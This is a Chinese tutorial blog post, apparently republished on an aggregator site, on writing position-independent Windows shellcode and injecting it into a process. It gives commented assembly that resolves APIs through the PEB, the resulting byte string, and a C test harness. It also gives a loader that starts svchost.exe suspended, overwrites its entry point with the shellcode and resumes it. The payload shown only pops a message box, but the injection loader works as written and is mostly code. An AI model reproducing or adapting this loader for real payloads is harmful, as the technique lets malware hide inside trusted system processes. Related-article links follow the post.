编写shellcode并注入至进程

2024-02-24 10:18
文章标签 编写 注入 进程 shellcode

本文主要是介绍编写shellcode并注入至进程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

shellcode

维基百科:

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。
……
Shellcode通常是以机器码形式编写的。

去掉修饰词,shellcode就是一段机器码。

关于shellcode如何攻击,如何利用漏洞去执行,以后补上。这次主要记录编写的shellcode 以及注入。

编写shellcode

shellcode 跟我们平常见到的机器码是有区别的,他不能是随便扣出来一段机器码就是shellcode。

注意编写shellcode的一些限制:

1.不能使用字符串的直接偏移

在代码中定义一个全局变量,或直接把该字符串传递给某个函数,编译器都会把字符串放置在一个特定的Section中(如.rdata或.data)。
也就是说你在你的shellcode定义的全局变量位置在加载程序后,会重定向到另一个位置,现在你的shellcode就找不到了。(注意这里是不能使用全局变量以及字符串的直接偏移,并不代表你不能push 数据转成字符串。)

在这里插入图片描述

2.不能直接使用系统API

因为不能确定这些API函数地址,我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。

3.不能有一些特定字符(如NULL字节)
空字节:0x00,在C/C++代码中,空字节会被认为是字符串的结束符,如果shellcode中有空字节,

char *shellcode="\x11\x22\x00\x33\x44"

就不能确保后面的shellcode会被执行,比如上面的\x33\x44就不会被执行。

例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却不包含空字节。虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。
还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数。

shellcode 汇编编写

大体步骤:

1.因为不能直接使用API 所以我们也只能从PEB 开始获取当前程序加载的kernel32.dll的基址。

2.再找到kernel32导出函数GetProcAddress函数。

3.用GetProcAddress(“LoadLibrary”,&BaseOfKernel32.dll)。

4.找到LoadLibrary api,之后想要什么API只用这两个函数就行了。

上代码:
每行都有注释,这次就简单获取MessageBoxA()。

//获取kernel32.dll的基址xor ecx, ecx mov eax, fs:[ecx + 0x30]  ;//EAX = PEBmov eax, [eax + 0xc]      ;//EAX = PEB->Ldrmov esi, [eax + 0x14]     ;//ESI = PEB->Ldr.InMemOrderlodsd                     ;//EAX = Second modulexchg eax, esi             ;//EAX = ESI, ESI = EAXlodsd                     ;//EAX = Third(kernel32)mov ebx, [eax + 0x10]     ;//EBX = Base address//获取导出函数名称vamov edx, [ebx + 0x3c]		;//EDX = DOS->e_lfanewadd edx, ebx				;//EDX = PE Headermov edx, [edx + 0x78]		;//EDX = Offset export tableadd edx, ebx				;//EDX = Export tablemov esi, [edx + 0x20]		;//ESI = Offset names tableadd esi, ebx				;//ESI = Names tablexor ecx, ecx				;//EXC = 0//对比函数名称,得到GetProcAddress函数的序号(ecx)
Get_Function:inc ecx                              ;//Inc rement the ordinal lodsd                                ;//Get name offset add eax, ebx                         ;//Get functionname cmp dword ptr[eax], 0x50746547       ;//GetP jnz Get_Function					 ;cmp dword ptr[eax + 0x4], 0x41636f72 ;//rocA jnz Get_Function					 ;cmp dword ptr[eax + 0x8], 0x65726464 ;//ddre jnz Get_Function					 ;//利用序号,找到GetProcAddress函数地址mov esi, [edx + 0x24]		;//ESI = Offset ordinalsadd esi,ebx					;//ESI = ordinals tablemov cx, [esi + ecx * 2]		;//CX = Number of functiondec ecx						;mov esi,[edx+0x1c]			;//ESI = Offset Address tableadd esi,ebx					;//ESI = Address table;mov edx,[esi + ecx * 4]		;//EDX = Pointer(offset)add edx,ebx					;//EDX = GetProcAddress//利用GetProcAddress函数找到LoadLibrayA函数地址xor ecx,ecx					;//ECX = 0push ebx					;//Kernel32 base addresspush edx					;//GetProcAddresspush ecx					;//0push 0x41797261				;//aryApush 0x7262694c				;//Librpush 0x64616f4c				;//Loadpush esp					;//"LoadLibraryA"push ebx					;//Kernel32 base addresscall edx					;//GetProcAddress()//使用LoadLibraryA函数加载需要的dll文件add esp,0xc					;//pop "LoadLibraryA"pop ecx						;//ECX = 0;push eax					;//EAX = LoadLibraryApush ecx					;//"\0"mov cx,0x6c6c				;//llpush ecx					;push 0x642e3233				;//32.dpush 0x72657375				;//userpush esp					;//"user32.dll"call eax					;//LoadLibrary("user32.dll")//使用GetProcAddress从user32dll中找到需要的函数地址add esp,0x10				;//Clean stackmov edx,[esp + 0x4]			;//EDX = GetProcAddressxor ecx,ecx					;//ECX = 0push ecx					;mov	ecx,0x6141786f			;//oxAapush ecx					;//MessageBoxsub dword ptr[esp+0x3],0x61 ;//Remove "a"push 0x42656761				;//ageBpush 0x7373654d				;//Messpush esp					;//"MessageBoxA"push eax					;//user.dll addresscall edx					;//GetProcAddress(MessageBoxA)//调用MessageBoxAadd esp,0x10				;//Cleanup stackxor ecx,ecx					;//ECX = 0push ecx					;push ecx					;push ecx					;push ecx					;call eax					;//MessageBoxA();

如果想让程序结束的优雅一点,可以在调用一个ExitProcess()

可是我不想让他优雅(狗头)

转成shellcode

有个简便的办法:

如果是vs编译器写的汇编

int main()
{__asm{//上面的汇编代码拷贝到这儿}return 0;
}

编译,将生成的exe,拖进OD。找到汇编代码入口:

在这里插入图片描述

把该函数全选,二进制复制
在这里插入图片描述
将选中的二进制稍微修改一下,0x,\x 都行。

测试运行效果

测试shellcode是否转化成功

#include<stdio.h>
#include<windows.h>int main(){char *shellcode = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";DWORD old = 0;BOOL ret = VirtualProtect(shellcode,strlen(shellcode),PAGE_EXECUTE_READWRITE,&old);__asm{jmp shellcode;}return 0;
}

进程注入shellcode

#include<stdio.h>
#include<windows.h>unsigned char codebuf[] = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";int main()
{STARTUPINFO start = {0};PROCESS_INFORMATION ProcessInfo = {0};start.cb = sizeof(STARTUPINFO);memset(&ProcessInfo, 0, sizeof(PROCESS_INFORMATION));//创建挂起进程if (!CreateProcess(L"C:\\Windows\\System32\\svchost.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&start,&ProcessInfo)){printf("CreateProcess failed (%d).\n", GetLastError());return 0;}//获取线程上下文 拿到进程入口点地址CONTEXT context;context.ContextFlags = CONTEXT_ALL;if (!GetThreadContext(ProcessInfo.hThread, &context)){printf("Get ThreadContext failed (%d).\n", GetLastError());TerminateProcess(ProcessInfo.hProcess,0);return 0;}//写入shellcodeif (!WriteProcessMemory(ProcessInfo.hProcess, (LPVOID)context.Eax, codebuf, sizeof(codebuf), 0)){printf("Write Shellcode faild (%d). \n", GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}//恢复线程运行if (ResumeThread(ProcessInfo.hThread) == (DWORD)-1){printf("ResumeThread failed (%d).\n",GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}
}

在这里插入图片描述
成功。

这篇关于编写shellcode并注入至进程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/741785

相关文章

怎样通过分析GC日志来定位Java进程的内存问题

《怎样通过分析GC日志来定位Java进程的内存问题》:本文主要介绍怎样通过分析GC日志来定位Java进程的内存问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、GC 日志基础配置1. 启用详细 GC 日志2. 不同收集器的日志格式二、关键指标与分析维度1.

Java进程异常故障定位及排查过程

《Java进程异常故障定位及排查过程》:本文主要介绍Java进程异常故障定位及排查过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、故障发现与初步判断1. 监控系统告警2. 日志初步分析二、核心排查工具与步骤1. 进程状态检查2. CPU 飙升问题3. 内存

Windows的CMD窗口如何查看并杀死nginx进程

《Windows的CMD窗口如何查看并杀死nginx进程》:本文主要介绍Windows的CMD窗口如何查看并杀死nginx进程问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录Windows的CMD窗口查看并杀死nginx进程开启nginx查看nginx进程停止nginx服务

python编写朋克风格的天气查询程序

《python编写朋克风格的天气查询程序》这篇文章主要为大家详细介绍了一个基于Python的桌面应用程序,使用了tkinter库来创建图形用户界面并通过requests库调用Open-MeteoAPI... 目录工具介绍工具使用说明python脚本内容如何运行脚本工具介绍这个天气查询工具是一个基于 Pyt

Java进程CPU使用率过高排查步骤详细讲解

《Java进程CPU使用率过高排查步骤详细讲解》:本文主要介绍Java进程CPU使用率过高排查的相关资料,针对Java进程CPU使用率高的问题,我们可以遵循以下步骤进行排查和优化,文中通过代码介绍... 目录前言一、初步定位问题1.1 确认进程状态1.2 确定Java进程ID1.3 快速生成线程堆栈二、分析

MyBatis编写嵌套子查询的动态SQL实践详解

《MyBatis编写嵌套子查询的动态SQL实践详解》在Java生态中,MyBatis作为一款优秀的ORM框架,广泛应用于数据库操作,本文将深入探讨如何在MyBatis中编写嵌套子查询的动态SQL,并结... 目录一、Myhttp://www.chinasem.cnBATis动态SQL的核心优势1. 灵活性与可

Mybatis嵌套子查询动态SQL编写实践

《Mybatis嵌套子查询动态SQL编写实践》:本文主要介绍Mybatis嵌套子查询动态SQL编写方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、实体类1、主类2、子类二、Mapper三、XML四、详解总结前言MyBATis的xml文件编写动态SQL

Python多进程、多线程、协程典型示例解析(最新推荐)

《Python多进程、多线程、协程典型示例解析(最新推荐)》:本文主要介绍Python多进程、多线程、协程典型示例解析(最新推荐),本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定... 目录一、multiprocessing(多进程)1. 模块简介2. 案例详解:并行计算平方和3. 实现逻

C#通过进程调用外部应用的实现示例

《C#通过进程调用外部应用的实现示例》本文主要介绍了C#通过进程调用外部应用的实现示例,以WINFORM应用程序为例,在C#应用程序中调用PYTHON程序,具有一定的参考价值,感兴趣的可以了解一下... 目录窗口程序类进程信息类 系统设置类 以WINFORM应用程序为例,在C#应用程序中调用python程序

使用Java编写一个字符脱敏工具类

《使用Java编写一个字符脱敏工具类》这篇文章主要为大家详细介绍了如何使用Java编写一个字符脱敏工具类,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1、字符脱敏工具类2、测试工具类3、测试结果1、字符脱敏工具类import lombok.extern.slf4j.Slf4j